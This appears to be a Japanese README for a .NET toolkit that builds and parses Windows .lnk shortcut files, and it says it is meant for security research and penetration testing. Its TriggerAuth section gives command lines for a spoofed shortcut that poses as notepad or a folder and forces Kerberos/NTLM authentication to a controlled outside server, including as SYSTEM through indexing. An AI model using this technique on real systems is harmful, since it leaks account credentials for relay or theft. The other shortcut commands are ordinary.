
Lnk crafting and research tools
.NET 8 向けの、Windows シェルリンク (.lnk) ファイルを作成・解析するツールキットです。コマンドラインビルダー (LnkMeMaybe) とグラフィカルエディター (LnkUi) が含まれます。セキュリティ研究およびペネトレーションテストを目的としています。
| プロジェクト | 説明 |
|---|---|
Lnk/ | コアライブラリ。MS-SHLLINK 仕様に基づいて .lnk バイナリ形式を解析・生成します。LnkHandler がメインのエントリポイントで、ShellLinkHeader、LinkTargetIDList、LinkInfo、StringData、ExtraData を構成します。 |
LnkMeMaybe/ | CLI ツール。さまざまな .lnk ファイルを生成するコマンドを提供します。Titanis.Cli フレームワークを使用しています。 |
LnkUi/ | Avalonia 11 ベースの MVVM デスクトップエディター。7 つの ViewModel が対応する Lnk ライブラリコンポーネントをラップします。.lnk ファイルの手動調査・検査に役立ちます。 |
LnkTests/ | MSTest テストスイート。実際の .lnk ファイルサンプルがリソースとして埋め込まれています。ShellLinkHeader と LinkInfo を対象としています。 |
すべてのコマンドは、以下の基本パラメーターを共有します (BaseSavedCommand 由来):
TriggerAuth (CVE-2026-25185)指定したサーバーへの Kerberos (NTLM へフォールバック) 認証をトリガーする .lnk を作成します。この .lnk は何も実行しません。
認証がトリガーされるシナリオ:
.lnk を含む共有を参照すると、ユーザーのアカウントが外部に対して認証を行います。.lnk が、マシンがインデックスするように構成された場所に配置されると、SearchProtocolHost が SYSTEM として認証します。MSSense.exe が SYSTEM として認証します。パラメーター:
例:
# Send authentication to \\controlled.example.org\IPC$ while posing as notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk
# Send authentication to a specific share path while posing as a folder shortcut
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk
WebShortcutWeb URL を指す .lnk ファイルを作成します。通常、Windows は Web ショートカットに .url ファイルを作成しますが、このコマンドは代わりに .lnk を生成します。
パラメーター:
| パラメーター | 必須 | 説明 |
|---|---|---|
--Url | 必須 | ショートカットが指す URL。整形式の絶対 URI である必要があります。 |
例:
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk
LocalShortcutローカルファイルまたはフォルダーへの標準的な Windows ショートカットを作成します。ターゲットパスはシェル項目 ID リスト (PIDL) として格納されます。これは、Windows がファイルシステムショートカットに使用するネイティブ形式です。
パラメーター:
例:
# Create a shortcut to Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk
# Shortcut with arguments and a custom icon
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe
# Shortcut that opens maximised and requests elevation
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk
EnvShortcutターゲットパスが展開可能な環境変数文字列 (EnvironmentVariableDataBlock) として格納される .lnk を作成します。これは、Windows がシステム実行ファイルへのショートカット (例: %SystemRoot%\system32\notepad.exe) に使用する形式です。変数は起動時に展開されるため、ショートカットは Windows のインストール環境をまたいで移植可能になります。
パラメーター:
例:
# Shortcut to Notepad using an environment variable path
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk
# Shortcut to a user-profile app with arguments
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk
# Build (debug)
dotnet build Lnk.sln
# Build (release, core projects only)
dotnet build -c Release build.slnf
# Run all tests
dotnet test
# Run a specific test class
dotnet test --filter "ClassName=lnkHeader"
# Publish self-contained single-file executable (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj
Windows、Linux、macOS (x64 および arm64) 向けのプリビルドバイナリは Releases ページから入手できます。
各リリースには、LnkMeMaybe と LnkUi のスタンドアロン版 (.NET ランタイム不要) とフレームワーク依存版 (.NET 8 ランタイムが必要) の両方が含まれています。
AI システムは以下のタスクに使用されました:
このリポジトリ内のコードは、それ以外はすべて人が作成しレビューしたものです。
| パラメーター | エイリアス | 必須 | 説明 |
|---|
--OutputPath | 必須 | .lnk ファイルを書き出すファイルシステムのパス。 | |
--Overwrite | 任意 | OutputPath にある既存ファイルへの上書きを許可します。 | |
--DisplayName | 任意 | ショートカットにカーソルを合わせたときに表示されるテキスト。改行は \n に対応します。 | |
--IconPath / -I | -I | 任意 | ショートカットアイコンとして使用する .exe または .dll へのパス。対象 システム上に存在している必要があります。 |
--IconIndex | 任意 | --IconPath で指定したファイル内のアイコンリソースインデックス。既定値: 0。 |
| パラメーター | エイリアス | 必須 | 説明 |
|---|
--FakePath / -F | -F | 必須 | .lnk のプロパティでターゲットとして表示されるパス。 |
--Server / -S | -S | 必須 | 認証の送信先となるサーバーのホスト名、IP アドレス、または UNC パス。共有が指定されていない場合は IPC$ が追加されます。 |
--Darwin | 任意 | .lnk に格納される Darwin 識別子。任意の値を指定できます。既定値: unset。 |
| パラメーター | エイリアス | 必須 | 説明 |
|---|
--TargetPath | 必須 | ターゲットとなるファイルまたはフォルダーへの絶対パス。 | |
--Arguments | 任意 | ターゲットに渡すコマンドライン引数。 | |
--WorkingDirectory | -W | 任意 | ターゲットプロセスの作業ディレクトリ。 |
--RunAsAdmin | 任意 | ショートカット起動時に UAC の昇格を要求します。 | |
--ShowCommand | 任意 | 起動時のウィンドウ状態: Normal、Maximized、Minimized。 |
| パラメーター | エイリアス | 必須 | 説明 |
|---|
--TargetPath | 必須 | ターゲットパス。%SystemRoot% や %USERPROFILE% などの環境変数を含めることができます。 | |
--Arguments | 任意 | ターゲットに渡すコマンドライン引数。 | |
--WorkingDirectory | -W | 任意 | ターゲットプロセスの作業ディレクトリ。 |
--RunAsAdmin | 任意 | ショートカット起動時に UAC の昇格を要求します。 | |
--ShowCommand | 任意 | 起動時のウィンドウ状態: Normal、Maximized、Minimized。 |